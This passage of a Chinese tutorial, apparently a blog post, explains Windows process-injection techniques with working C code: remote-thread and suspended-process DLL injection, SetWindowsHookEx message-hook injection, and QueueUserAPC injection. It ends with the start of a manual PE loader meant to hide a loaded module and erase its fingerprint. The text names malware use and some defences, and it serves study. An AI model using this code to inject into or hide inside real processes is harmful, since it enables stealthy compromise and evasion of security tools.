用于远程进程中调用
LoadLibrary
函数时,LoadLibrary
的返回值是加载的模块的基地址,也就是说,如果加载成功,它会返回 DLL 的
ImageBase
。线程退出时,该返回值被用作线程的退出代码。所以,在这种情况下,调用
GetExitCodeThread
函数获取的 dwExitCode
就是该
DLL 在目标进程地址空间中的基地址。
示例流程解释
- 远程线程创建:使用
CreateRemoteThread
在目标进程中执行LoadLibrary
,将 DLL 路径作为参数传递。
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryAddr, pRemotePath, 0, NULL);
这里 `LoadLibraryAddr` 是 `LoadLibrary` 函数在远程进程中的地址,`pRemotePath` 是包含 DLL 路径的远程进程中的内存地址。
- 等待线程完成:通过
WaitForSingleObject
等待远程线程结束。
WaitForSingleObject(hThread, INFINITE);
- 获取退出代码:使用
GetExitCodeThread
获取线程的退出代码。
GetExitCodeThread(hThread, &dwExitCode);
如果 `LoadLibrary` 成功加载了 DLL,`dwExitCode` 会是 DLL 的 `ImageBase`。
为什么使用
ImageBase
作为退出代码?
这是因为 LoadLibrary
作为线程的执行函数,其返回值(加载模块的基地址)自然成为线程的退出代码。这在进行
DLL 注入操作时非常有用,因为这样可以直接确认 DLL
是否被成功加载到目标进程的哪个内存地址上。
劫持进程注入实现
劫持进程注入原理
劫持线程注入(Thread Hijacking Injection)是一种在恶意软件和渗透测试中常用的技术,主要目的是在不同进程中运行恶意代码。这种技术涉及到修改现有线程的执行流程,使其执行恶意代码。这种方法的优点是可以绕过某些类型的安全检查,因为它不需要创建新线程,从而减少了被检测的机会。
劫持线程注入的步骤
- 选择目标线程:首先要选择一个合适的目标线程。这通常是一个处于等待或者空闲状态的线程,以减少对程序正常功能的干扰。
- 暂停目标线程:使用如
SuspendThread
函数暂停目标线程,以便进行下一步的操作。 - 获取线程上下文:使用
GetThreadContext
函数获取线程的上下文,主要是为了得到线程的当前指令指针(如EIP
寄存器在 x86 架构下)。 - 注入和修改指令指针:
- 代码注入:将要执行的代码注入到目标进程的地址空间中。这可以通过多种方法完成,例如使用
WriteProcessMemory
。 - 修改指令指针:修改线程的指令指针,使其指向注入的恶意代码。这通过设置线程上下文实现。
- 代码注入:将要执行的代码注入到目标进程的地址空间中。这可以通过多种方法完成,例如使用
- 恢复线程执行:使用
SetThreadContext
设置修改后的线程上下文,然后使用ResumeThread
恢复线程的执行。 - 执行恶意代码:线程恢复运行后,会跳转到注入的恶意代码执行。
- 清理和恢复原状:恶意代码执行完成后,可能需要清理注入的代码并将线程上下文恢复到原始状态,尽量减少对宿主程序的影响。
安全防护
对抗线程劫持的一种方法是使用代码完整性验证技术,如 Microsoft 的 Control Flow Guard(CFG),这可以防止非法修改指令流程。此外,现代操作系统和防病毒软件通常具备行为监控能力,能够检测并阻止此类攻击行为。
构建劫持进程注入
VOID HijackProcessInject(PCHAR ProcessPath, PCHAR DllPath)
{
DWORD dwExitCode = 0;
HANDLE hThread = 0;
DWORD dwFunAddr = 0;
HMODULE hModule_Kernel32 = 0;
LPVOID lpDll = 0;
DWORD dwDllPathSize = 0;
HANDLE hProcess = 0;
STARTUPINFOA si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
BOOL bRet = 0;
//挂起方式创建进程
bRet = CreateProcessA(
ProcessPath,
NULL,
NULL,
NULL,
NULL,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
);
if (!bRet)
{
printf("CreateProcessA Error -> [%x] \n", GetLastError());
return;
}
hProcess = pi.hProcess;
dwDllPathSize = strlen(DllPath) + 1;
//跨进程申请内存存储DllPath
lpDll = VirtualAllocEx(hProcess, NULL, dwDllPathSize, MEM_COMMIT, PAGE_READWRITE);
if (!lpDll)
{
return;
}
//dlldata -> process memory
WriteProcessMemory(hProcess, lpDll, DllPath, dwDllPathSize, NULL);
//LoadLibrary,Address
hModule_Kernel32 = LoadLibraryA("Kernel32.dll");
if (!hModule_Kernel32)
{
return;
}
dwFunAddr = (DWORD)GetProcAddress(hModule_Kernel32, "LoadLibraryA");
if (!dwFunAddr)
{
return;
}
hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwFunAddr, lpDll, 0, 0);
if (!hThread)
{
return;
}
//wait thread
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, &dwExitCode);
//free
VirtualFreeEx(hProcess, lpDll, dwDllPathSize, MEM_DECOMMIT);
//Resume Thread
ResumeThread(pi.hThread);
//close handle
CloseHandle(hThread);
}
这段代码是一个Windows应用程序编程接口(API)的示例,展示了如何在一个新创建的进程中注入DLL。这种技术通常用于软件调试、修改程序行为、或恶意软件等场景。代码中使用的函数主要是Windows
API,涉及进程和线程的操作。下面是该函数 HijackProcessInject
的详细步骤解释:
函数参数
ProcessPath
:目标应用程序的路径,这个程序将被启动并注入DLL。DllPath
:要注入的DLL文件的路径。
功能实现步骤
- 创建挂起的进程:
- 使用
CreateProcessA
函数创建一个新的进程,此处指定CREATE_SUSPENDED
标志,使进程在创建后立即处于挂起状态,不执行任何代码。
- 使用
- 内存分配:
- 在新创建的目标进程空间中,使用
VirtualAllocEx
分配内存。这块内存用来存放将要加载的DLL的路径。权限设为可读写(PAGE_READWRITE
)。
- 在新创建的目标进程空间中,使用
- 写入DLL路径:
- 利用
WriteProcessMemory
函数将DLL的路径复制到步骤2中分配的内存中。
- 利用
- 获取LoadLibraryA的地址:
- 加载
kernel32.dll
(因为LoadLibraryA
函数位于其中),并使用GetProcAddress
获取LoadLibraryA
函数的地址。LoadLibraryA
用于加载DLL。
- 加载
- 创建远程线程执行LoadLibraryA:
- 通过
CreateRemoteThread
在目标进程中创建一个线程,该线程执行LoadLibraryA
函数,参数是指向DLL路径的指针(即步骤3中的内存地址)。这会导致DLL被加载到目标进程中。
- 通过
- 等待线程执行完成:
- 使用
WaitForSingleObject
等待步骤5创建的线程完成执行。 - 调用
GetExitCodeThread
获取线程的退出代码,以确定DLL是否成功加载。
- 使用
- 释放资源:
- 使用
VirtualFreeEx
释放步骤2中分配的内存。 - 关闭步骤5中创建的线程句柄。
- 使用
- 恢复目标进程的主线程:
- 使用
ResumeThread
恢复目标进程的主线程,允许其继续运行。
- 使用
- 关闭句柄:
- 关闭进程和主线程的句柄,以避免资源泄露。
效果
执行此函数后,指定的DLL将被注入到指定的目标进程中,目标进程将加载并执行该DLL。这可以被用来改变进程的行为,例如监控进程的操作、修改数据等。
效果图
消息钩子注入原理及实现
消息钩子注入原理
SetWindowsHookEx
是一个 Windows API
函数,用于安装一个系统范围或线程特定的钩子。钩子(Hook)是一个可以拦截系统或应用程序事件的机制,例如键盘输入、鼠标移动或窗口消息。使用钩子,程序可以在这些事件通知到目标窗口之前捕获并处理它们。
SetWindowsHookEx
函数原型
HHOOK SetWindowsHookEx(
int idHook,
HOOKPROC lpfn,
HINSTANCE hmod,
DWORD dwThreadId
);
参数详解
- idHook:指定钩子类型。Windows
提供了多种类型的钩子,例如键盘钩子(
WH_KEYBOARD
)、鼠标钩子(WH_MOUSE
)、消息钩子(WH_CALLWNDPROC
)、等等。每种钩子监视特定类型的事件。 - lpfn:是一个指向钩子处理函数的指针,这个函数被称为钩子过程。每当相关的系统事件发生时,这个函数会被调用。
- hmod:指定包含钩子过程的DLL模块的句柄。如果钩子过程位于设置钩子的应用程序内部,此参数应为
NULL
。 - dwThreadId:指定钩子过程将监视的线程的标识符。如果此参数为零,则钩子过程对所有线程全局生效。
钩子注入原理
使用 SetWindowsHookEx
安装钩子时,可以选择将钩子安装为局部钩子或全局钩子:
- 局部钩子:仅监视安装钩子的应用程序的线程。如果
dwThreadId
是非零值,则钩子仅在指定线程中激活。 - 全局钩子:监视所有线程的相应事件。如果
dwThreadId
为零,并且hmod
参数指向一个DLL,那么这个DLL必须包含钩子过程代码,并且钩子将是全局的。
当钩子安装后,钩子处理函数(lpfn指向的函数)会在相关事件发生时被调用。这允许开发者在事件到达目标窗口前“截获”它,执行一些自定义操作,甚至修改、丢弃或替换事件数据。
应用场景
- 监视或记录输入:如键盘和鼠标钩子可用于记录输入数据。
- 改变或过滤消息:如窗口消息钩子可用于修改或过滤传递给应用程序的消息。
- 调试应用程序:钩子可以用于监控和记录应用程序的行为,有助于调试。
- 实现特定功能:如自动化测试工具可能使用钩子自动执行用户交互。
安全和性能考虑
- 性能影响:钩子可能会影响系统性能,因为每个相关事件都会调用钩子过程。
- 安全隐患:恶意软件可能利用钩子来监控用户行为或捕获敏感信息。
完善消息钩子注入
VOID MessageHookInject(DWORD dwPid, PCHAR DllPath)
{
HHOOK hook = 0;
THREADENTRY32 TE32 = { 0 };
TE32.dwSize = sizeof(TE32);
HANDLE hSnap = 0;
HMODULE hModule_InjectDll = 0;
DWORD dwFunAddr = 0;
//加载DLL
hModule_InjectDll = LoadLibraryA(DllPath);
if (!hModule_InjectDll)
{
return;
}
dwFunAddr = (DWORD)GetProcAddress(hModule_InjectDll, "MessageHook");
if (!dwFunAddr)
{
return;
}
//遍历线程
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE)
{
return;
}
if (Thread32First(hSnap,&TE32))
{
do
{
if(TE32.th32OwnerProcessID == dwPid)
{
hook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)dwFunAddr, hModule_InjectDll, TE32.th32ThreadID);
break;
}
} while (Thread32Next(hSnap, &TE32));
}
UnhookWindowsHookEx(hook);//释放的时候才执行注意!!
CloseHandle(hSnap);
}
这段代码的目的是在指定的进程中注入一个钩子,以监视消息。这主要通过
SetWindowsHookEx
函数实现。下面是详细的步骤和解释:
代码解析:
- 定义变量
HHOOK hook
: 存储钩子句柄。THREADENTRY32 TE32
: 结构体,用来获取系统中所有线程的信息。HANDLE hSnap
: 用于存储快照句柄。HMODULE hModule_InjectDll
: 用于存储加载的DLL模块句柄。DWORD dwFunAddr
: 存储钩子处理函数的地址。
- 加载DLL (
LoadLibraryA
):- 使用
LoadLibraryA
加载用户指定的DLL。如果加载失败,函数返回。
- 使用
- 获取函数地址 (
GetProcAddress
):- 使用
GetProcAddress
获取DLL中名为MessageHook
的函数地址。如果获取失败,函数返回。
- 使用
- 创建线程快照(
CreateToolhelp32Snapshot
):- 使用
CreateToolhelp32Snapshot
创建一个包含系统中所有线程的快照。如果快照创建失败,函数返回。
- 使用
- 遍历线程(
Thread32First
和Thread32Next
):- 遍历所有线程,检查每个线程的
th32OwnerProcessID
是否与目标进程IDdwPid
匹配。 - 如果匹配,使用
SetWindowsHookEx
在该线程中设置消息钩子。这个钩子会监视消息队列中的消息。
- 遍历所有线程,检查每个线程的
- 设置钩子(
SetWindowsHookEx
):- 使用
SetWindowsHookEx
函数安装钩子。这个函数的参数包括:钩子类型 (WH_GETMESSAGE
), 钩子处理函数的地址, 钩子DLL的模块句柄, 和目标线程的ID。
- 使用
- 释放资源
- 使用
UnhookWindowsHookEx
释放钩子。 - 使用
CloseHandle
关闭快照句柄。
- 使用
注意点:
- 钩子安装后只在目标线程的上下文中活动,且只监视
WH_GETMESSAGE
类型的消息。 - 释放钩子是在你想要停止钩子监听时进行,通常不会在这个函数中立即调用
UnhookWindowsHookEx
。
效果图
先在自身进程内存中加载
接受消息后加载到目标内存中
释放hook
UserApc注入原理及实现
UserApc注入原理
User-Apc (Asynchronous Procedure Call) 注入是一种在目标进程的上下文中远程执行代码的技术,常用于恶意软件的植入和合法软件的功能扩展。这种技术利用了 Windows 操作系统中的 APC 机制。以下是 User-Apc 注入的基本原理和步骤:
原理:
APC 是 Windows 中用于实现线程级异步程序调用的机制。APC 允许一个线程向另一个线程的队列中插入一个函数,该函数将在目标线程处于可中断状态时被执行。Windows 中的 APC 分为两类:
- Kernel APC:仅在内核模式下运行。
- User APC:在用户模式下运行,通常用于执行用户级的任务。
User-Apc 注入步骤:
- 打开目标进程
- 使用
OpenProcess
函数获取目标进程的句柄,需要具有适当的访问权限。
- 使用
- 分配内存
- 在目标进程中分配内存,通常使用
VirtualAllocEx
函数。这部分内存用于存放将要在目标进程中执行的代码(通常是 shellcode)。
- 在目标进程中分配内存,通常使用
- 写入代码
- 使用
WriteProcessMemory
将代码(例如 shellcode)写入步骤2中分配的内存区域。
- 使用
- 插入 User APC
- 使用
QueueUserAPC
函数将一个 APC 插入到目标进程的一个或多个线程的 APC 队列中。这个 APC 指向步骤3中写入的代码。 - 必须确保目标线程处于 alertable 状态,通常是调用了
SleepEx
、WaitForSingleObjectEx
等函数且指定了bAlertable
为 TRUE。
- 使用
- 触发执行
- 当目标线程进入 alertable 状态时,APC 队列中的函数(shellcode)被执行,实现了代码的注入和执行。
安全性和防护:
- User-Apc 注入技术可以被恶意软件用来逃避安全检测,因为它能够在没有明显痕迹的情况下在目标进程中执行代码。
- 现代操作系统和安全软件通过各种手段检测和阻止不正当的 APC 使用,包括行为监控、内存随机化等。
APC机制中的警惕性“alertable”
在 Windows 操作系统中,"alertable" 或称警惕状态,是指线程处于一种特定状态,可以接收并处理异步程序调用(APC)。这种状态对于理解 APC 机制尤其重要,因为只有当线程处于警惕状态时,它才能处理用户模式的 APC。
警惕状态的实现
线程可以通过以下几种方式进入警惕状态:
- 等待函数:使用如
SleepEx
、WaitForSingleObjectEx
、WaitForMultipleObjectsEx
等函数,并将最后一个参数bAlertable
设置为TRUE
。这些函数的扩展版本允许线程在等待操作完成时响应 APC。 - I/O 操作:完成异步 I/O 操作后,系统可以向线程的 APC 队列投递 I/O 完成的通知。如果线程正在等待这种类型的 I/O 完成,并且处于警惕状态,它将处理这些 APC。
APC的处理
当线程处于警惕状态时,以下情况之一发生,线程将处理其 APC 队列中的 APC:
- 等待操作完成:当使用
SleepEx
或相应的等待函数时,如果指定了警惕状态并且 APC 队列中存在 APC,那么在函数返回之前,所有排队的 APC 都将被执行。 - 主动处理:线程也可以主动调用
NtTestAlert
或NtDelayExecution
函数来处理 APC 队列中的 APC。
安全和性能的影响
- 性能:处理 APC 可能会导致线程从其原始任务中分心,特别是在高频率处理 APC 时,可能会对应用程序的性能造成影响。
- 安全性:由于 APC 可用于在目标线程上下文中执行代码,因此可能被恶意软件用来实现代码注入和执行,这种方式通常较难检测。因此,开发者和安全专家需要密切监视使用 APC 的应用,确保不被滥用。
UserApc注入代码
VOID UserApcInject(DWORD dwPid, PCHAR DllPath)
{
HANDLE hProcess = 0;
DWORD dwDllPathSize = 0;
LPVOID lpDllPath = 0;
HMODULE hModule_kernel32 = 0;
DWORD dwFunAddr = 0;
THREADENTRY32 TE32 = { 0 };
TE32.dwSize = sizeof(TE32);
HANDLE hSnap = 0;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (!hProcess)
{
return;
}
dwDllPathSize = strlen(DllPath) + 1;
lpDllPath = VirtualAllocEx(hProcess, NULL, dwDllPathSize, MEM_COMMIT, PAGE_READWRITE);
if (!lpDllPath)
{
return;
}
WriteProcessMemory(hProcess, lpDllPath, DllPath, dwDllPathSize, NULL);
hModule_kernel32 = LoadLibraryA("Kernel32.dll");
if (!hModule_kernel32)
{
return;
}
dwFunAddr = (DWORD)GetProcAddress(hModule_kernel32, "LoadLibraryA");
if (!dwFunAddr)
{
return;
}
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE)
{
return;
}
if(Thread32First(hSnap,&TE32))
{
do
{
if (TE32.th32OwnerProcessID == dwPid)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, TE32.th32ThreadID);
if (hThread)
{
QueueUserAPC((PAPCFUNC)dwFunAddr, hThread, (ULONG_PTR)lpDllPath);
CloseHandle(hThread);
break;
}
}
} while (Thread32Next(hSnap, &TE32));
}
CloseHandle(hProcess);
CloseHandle(hSnap);
}
int main()
{
//while (1)
//{
// SleepEx(1000, TRUE);
//}//让当前线程处于警惕状态
//获取注入进程PID
DWORD dwPid = GetProcessIdByName((PWCHAR)L"inject_fz.exe");
//printf("%d \n", dwPid);
//远程线程注入
//RemoteThreadInject(dwPid,szBuffer);
//劫持线程注入
//HijackProcessInject((PCHAR)"D:\\PETool 1.0.0.5.exe", szBuffer);
//消息钩子注入
//MessageHookInject(dwPid, szBuffer);
//用户APC注入
UserApcInject(dwPid, szBuffer);
//释放指定模块
//FreeInjectDll(dwPid, (PWCHAR)L"injectdll.dll");
return 0;
}
这段代码实现了通过 User-APC (Asynchronous Procedure Call) 方法将 DLL
注入到指定的进程中。整个过程包括获取目标进程的句柄、在目标进程中分配内存、写入
DLL 路径、获取 LoadLibraryA
函数地址,并将一个 APC
任务排入目标线程的 APC 队列,以实现 DLL 的加载。以下是详细解释:
函数 UserApcInject
- 打开目标进程
- 使用
OpenProcess
函数获取目标进程的句柄。这里请求PROCESS_ALL_ACCESS
权限,以便进行后续操作。
- 使用
- 分配内存
- 使用
VirtualAllocEx
在目标进程中分配足够的内存来存储 DLL 的路径。内存属性设置为MEM_COMMIT
和PAGE_READWRITE
,确保内存区域被提交且可以读写。
- 使用
- 写入 DLL 路径
- 使用
WriteProcessMemory
将 DLL 路径写入步骤 2 中分配的内存中。
- 使用
- 获取
LoadLibraryA
函数地址- 通过
LoadLibraryA
加载kernel32.dll
(尽管它几乎总是已加载)并使用GetProcAddress
获取LoadLibraryA
函数的地址。这个地址将用作 APC 的调用地址,因为LoadLibraryA
可以加载 DLL。
- 通过
- 创建并遍历线程快照
- 使用
CreateToolhelp32Snapshot
创建包含系统所有线程的快照。 - 使用
Thread32First
和Thread32Next
遍历快照中的线程。对于每个线程,检查它是否属于目标进程。
- 使用
- 打开线程并排队 APC
- 对于目标进程的每个线程,使用
OpenThread
获取线程句柄,并为其队列中添加一个 APC,该 APC 指向LoadLibraryA
函数并传递 DLL 路径作为参数。 - 使用
QueueUserAPC
排队 APC。这将在目标线程进入警惕状态时执行,从而加载 DLL。
- 对于目标进程的每个线程,使用
- 关闭句柄
- 使用
CloseHandle
关闭所有打开的句柄(线程、进程、快照)。
- 使用
main
函数
- 这部分代码包含了一个注释掉的循环,该循环将当前线程置于警惕状态,允许它处理
APC。然后获取一个特定进程的 PID,并调用
UserApcInject
函数实现 DLL 注入。
效果图
模块隐藏原理及示例
LoadLibrary实现原理
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
// "D:\\Ferry\\Project\\HideModule\\Debug\\TestDll.dll"
DWORD WINAPI TravelModule(LPVOID lp)
{
while (1)
{
system("cls");
HANDLE hSnap = 0;
MODULEENTRY32 ME32 = { 0 };
ME32.dwSize = sizeof(ME32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnap == INVALID_HANDLE_VALUE)
{
return 0;
}
if (Module32First(hSnap, &ME32))
{
do
{
wprintf(L"%s \n", ME32.szModule);
} while (Module32Next(hSnap, &ME32));
}
CloseHandle(hSnap);
Sleep(1000);
}
}
int main()
{
HANDLE hThread = CreateThread(NULL, 0, TravelModule, NULL, 0, NULL);
if (hThread == NULL)
{
return 0;
}
system("pause");
HMODULE hModule_TestDll = LoadLibraryA("D:\\Ferry\\Project\\HideModule\\Debug\\TestDll.dll");
system("pause");
CloseHandle(hThread);
return 0;
}
这段代码的目的是在一个 Windows 控制台程序中周期性地列出当前进程加载的所有模块(DLL等)。程序创建一个后台线程来执行模块遍历,同时在主线程中加载一个指定的 DLL 文件。以下是代码的详细分析和实现:
代码分析
- TravelModule 函数
- 这是一个线程函数,不断循环执行。
- 每次循环开始时,使用
system("cls")
清空控制台窗口。 - 创建一个模块快照,针对当前进程
(
GetCurrentProcessId()
)。 - 使用
Module32First
和Module32Next
遍历所有模块,打印每个模块的名称。 - 遍历完成后关闭快照句柄,并休眠一秒。
- 如果快照创建失败,则返回 0,结束线程。
- main 函数
- 创建一个线程,线程函数为
TravelModule
,以周期性地更新和显示当前进程的模块列表。 - 使用
system("pause")
暂停,等待用户按键继续。这是为了用户能看到当前已加载的模块,也确保控制台不会因程序执行太快而直接关闭。 - 加载指定的 DLL 文件
(
LoadLibraryA
)。此步骤可能用于测试动态链接库是否能被正确加载或为了触发 DLL 的某些行为。 - 再次使用
system("pause")
暂停,可能是为了观察加载 DLL 后的效果或简单地防止控制台关闭。 - 在程序结束前,关闭之前创建的线程句柄。
- 创建一个线程,线程函数为
效果图
LoadLibrary加载之后能直接看到注入的dll
加载二进制数据
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
//隐藏模块路径
#define MODULE_PATH "D:\\Ferry\\Project\\HideModule\\Debug\\TestDll.dll"
//遍历模块
DWORD WINAPI TravelModule(LPVOID lp)
{
while (1)
{
system("cls");
HANDLE hSnap = 0;
MODULEENTRY32 ME32 = { 0 };
ME32.dwSize = sizeof(ME32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnap == INVALID_HANDLE_VALUE)
{
return 0;
}
if (Module32First(hSnap, &ME32))
{
do
{
wprintf(L"%s \n", ME32.szModule);
} while (Module32Next(hSnap, &ME32));
}
CloseHandle(hSnap);
Sleep(1000);
}
}
//读取模块二进制数据
PCHAR FileToMem(PCHAR szFilePath, LPWORD lpdwFileSize)
{
FILE* pFile = NULL;
DWORD dwFileSize = 0;
PCHAR pFileBuffer = NULL;
//打开文件
fopen_s(&pFile, szFilePath, "rb");
if (pFile == NULL)
{
return NULL;
}
//获取文件大小
fseek(pFile, 0, SEEK_END);
dwFileSize = ftell(pFile);
fseek(pFile, 0, SEEK_SET);
//申请内存模块数据
pFileBuffer = (PCHAR)malloc(dwFileSize);
if (pFileBuffer == NULL)
{
fclose(pFile);
return NULL;
}
memset(pFileBuffer, 0, dwFileSize);
//读取文件数据
fread_s(pFileBuffer, dwFileSize, dwFileSize, 1, pFile);
//判断是否为PE文件
if (*(PSHORT)pFileBuffer != IMAGE_DOS_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFileBuffer;
//PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)((PCHAR)pDos + pDos->e_lfanew);
if (*(LPDWORD)(pFileBuffer + *(LPDWORD)(pFileBuffer + 0x3C)) != IMAGE_NT_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//关闭文件
fclose(pFile);
return pFileBuffer;
}
VOID HideModuleByMemLoad(PCHAR szFilePath)
{
PCHAR pFileBuffer = NULL;
//1.读取模块二进制数据
pFileBuffer = FileToMem(szFilePath, NULL);
if (pFileBuffer == NULL)
{
return;
}
//2.按照PE文件格式拉伸到内存
//3.修复重定位数据
//4.修复导入地址表
//5.构建GetProcAddress
//6.抹除PE指纹
}
int main()
{
//HANDLE hThread = CreateThread(NULL, 0, TravelModule, NULL, 0, NULL);
//if (hThread == NULL)
//{
// return 0;
//}
HideModuleByMemLoad((PCHAR)MODULE_PATH);
return 0;
}
这段代码是一个Windows程序,主要实现了几个功能:周期性枚举进程中的模块、将模块文件加载到内存、并提供了一个框架以进行PE文件的处理,例如隐藏模块、修复重定位数据和导入地址表。下面是对每个部分的详细解释:
1. TravelModule
函数
这个函数作为一个线程执行,用于定期清空控制台并显示当前进程加载的所有模块的名称。它使用 Windows 的 Toolhelp Snapshot API 来获取模块信息:
- 创建快照:使用
CreateToolhelp32Snapshot
创建包含所有模块的快照。 - 遍历模块:使用
Module32First
和Module32Next
遍历快照中的每个模块并打印它们的名称。 - 关闭句柄和暂停:每次遍历完成后关闭快照句柄,并等待一秒钟再次执行。
2. FileToMem
函数
这个函数用于将指定路径的模块文件读入内存。它首先打开文件,然后读取文件内容到分配的内存缓冲区中:
- 打开文件:使用
fopen_s
打开指定的文件。 - 读取文件大小:移动文件指针到文件末尾,使用
ftell
获取文件大小,然后重置文件指针。 - 分配内存并读取数据:使用
malloc
分配内存并使用fread_s
读取文件内容。 - 验证PE签名:检查文件的起始位置是否有有效的DOS签名(
MZ
),并检查PE头的签名(PE\0\0
)。
3. HideModuleByMemLoad
函数
这个函数提供了一个操作框架,用于从磁盘加载一个模块文件到内存,并进行一系列的PE处理操作,但具体的操作步骤尚未实现:
- 读取文件到内存:调用
FileToMem
将文件读入内存。 - 按照PE文件格式拉伸到内存:预留操作,用于解析PE结构并正确地映射到内存中。
- 修复重定位数据:预留操作,用于处理基地址重定位。
- 修复导入地址表:预留操作,用于解析和修复导入表,确保所有外部函数调用正确。
- 构建GetProcAddress:预留操作,可能用于实现或修改GetProcAddress函数,以支持动态解析函数。
- 抹除PE指纹:预留操作,用于在加载的模块不被系统API和工具检测到。
4. main
函数
- 创建并运行模块遍历线程:注释掉的代码,原本用于创建和运行
TravelModule
线程。 - 加载和处理模块:调用
HideModuleByMemLoad
函数,尝试隐藏指定路径的模块。
拉伸二进制数据
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
//隐藏模块路径
#define MODULE_PATH "D:\\Ferry\\Project\\HideModule\\Debug\\TestDll.dll"
//遍历模块
DWORD WINAPI TravelModule(LPVOID lp)
{
while (1)
{
system("cls");
HANDLE hSnap = 0;
MODULEENTRY32 ME32 = { 0 };
ME32.dwSize = sizeof(ME32);
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnap == INVALID_HANDLE_VALUE)
{
return 0;
}
if (Module32First(hSnap, &ME32))
{
do
{
wprintf(L"%s \n", ME32.szModule);
} while (Module32Next(hSnap, &ME32));
}
CloseHandle(hSnap);
Sleep(1000);
}
}
//读取模块二进制数据
PCHAR FileToMem(PCHAR szFilePath, LPWORD lpdwFileSize)
{
FILE* pFile = NULL;
DWORD dwFileSize = 0;
PCHAR pFileBuffer = NULL;
//打开文件
fopen_s(&pFile, szFilePath, "rb");
if (pFile == NULL)
{
return NULL;
}
//获取文件大小
fseek(pFile, 0, SEEK_END);
dwFileSize = ftell(pFile);
fseek(pFile, 0, SEEK_SET);
//申请内存模块数据
pFileBuffer = (PCHAR)malloc(dwFileSize);
if (pFileBuffer == NULL)
{
fclose(pFile);
return NULL;
}
memset(pFileBuffer, 0, dwFileSize);
//读取文件数据
fread_s(pFileBuffer, dwFileSize, dwFileSize, 1, pFile);
//判断是否为PE文件
if (*(PSHORT)pFileBuffer != IMAGE_DOS_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFileBuffer;
//PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)((PCHAR)pDos + pDos->e_lfanew);
if (*(LPDWORD)(pFileBuffer + *(LPDWORD)(pFileBuffer + 0x3C)) != IMAGE_NT_SIGNATURE)
{
fclose(pFile);
free(pFileBuffer);
return NULL;
}
//关闭文件
fclose(pFile);
return pFileBuffer;
}
//文件缓存转内存缓存
PCHAR FileBufferToImageBuffer(PCHAR pFileBuffer)
{
PCHAR pImageBuffer = 0;
//定位PE结构
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pFileBuffer;
PIMAGE_NT_HEADERS pNth = (PIMAGE_NT_HEADERS)((PCHAR)pDos + pDos->e_lfanew);
PIMAGE_FILE_HEADER pFil = (PIMAGE_FILE_HEADER)((PCHAR)pNth + 4);
PIMAGE_OPTIONAL_HEADER pOpo = (PIMAGE_OPTIONAL_HEADER)((PCHAR)pFil + IMAGE_SIZEOF_FILE_HEADER);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((PCHAR)pOpo + pFil->SizeOfOptionalHeader);
//分配内存存储内存缓存
pImageBuffer = (PCHAR)VirtualAlloc(NULL, pOpo->SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pImageBuffer == NULL)
{
return NULL;
}
memset(pImageBuffer, 0, pOpo->SizeOfImage);
//拷贝头加节表数据
memcpy(pImageBuffer, pFileBuffer, pOpo->SizeOfHeaders);
//拷贝节区数据
for (size_t i = 0; i < pFil->NumberOfSections; i++)
{
memcpy(
pImageBuffer + pSec[i].VirtualAddress,
pFileBuffer + pSec[i].PointerToRawData,
pSec[i].SizeOfRawData
);
}
//释放文件缓存
free(pFileBuffer);
return pImageBuffer;
}
VOID HideModuleByMemLoad(PCHAR szFilePath)
{
PCHAR pFileBuffer = NULL;
PCHAR pImageBuffer = NULL;
//1.读取模块二进制数据
pFileBuffer = FileToMem(szFilePath, NULL);
if (pFileBuffer == NULL)
{
return;
}
//2.按照PE文件格式拉伸到内存
pImageBuffer = FileBufferToImageBuffer(pFileBuffer);
if (pFileBuffer == NULL)
{
return;
}
//3.修复重定位数据
//4.修复导入地址表
//5.构建GetProcAddress
//6.抹除PE指纹
}
int main()
{
//HANDLE hThread = CreateThread(NULL, 0, TravelModule, NULL, 0, NULL);
//if (hThread == NULL)
//{
// return 0;
//}
HideModuleByMemLoad((PCHAR)MODULE_PATH);
return 0;
}
这段代码是将一个 PE 文件从文件格式缓存转换成内存映像格式的实现。这个转换过程涉及定位 PE 文件的不同部分、分配适当的内存,并将文件数据适当地映射到这块内存上。这是在加载一个 DLL 或 EXE 文件到内存中执行时常见的操作。下面是对代码的详细解释:
函数
FileBufferToImageBuffer
1. 定位 PE 结构
PIMAGE_DOS_HEADER pDos
:指向文件缓冲区起始的 DOS 头指针。DOS 头包含了e_lfanew
字段,该字段提供了 NT 头的偏移量。PIMAGE_NT_HEADERS pNth
:通过pDos->e_lfanew
计算得到,指向 NT 头,包括签名、文件头和可选头。PIMAGE_FILE_HEADER pFil
:紧跟在签名之后,指向文件头部分,包含有关文件的基本信息,如节的数量等。PIMAGE_OPTIONAL_HEADER pOpo
:指向可选头,紧跟在文件头后面,包含重要的加载信息,如SizeOfImage
